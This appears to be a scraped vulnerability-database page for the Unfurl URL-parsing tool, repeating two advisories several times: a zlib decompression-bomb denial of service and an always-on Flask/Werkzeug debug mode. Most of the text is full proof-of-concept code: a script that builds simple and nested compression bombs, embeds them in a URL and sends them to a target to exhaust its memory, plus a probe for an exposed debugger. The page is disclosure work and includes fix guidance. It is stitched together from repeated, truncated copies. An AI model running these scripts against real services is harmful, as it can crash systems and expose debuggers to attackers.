    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Nov 21, 2024

20240627 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 29, 2024

20240626 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
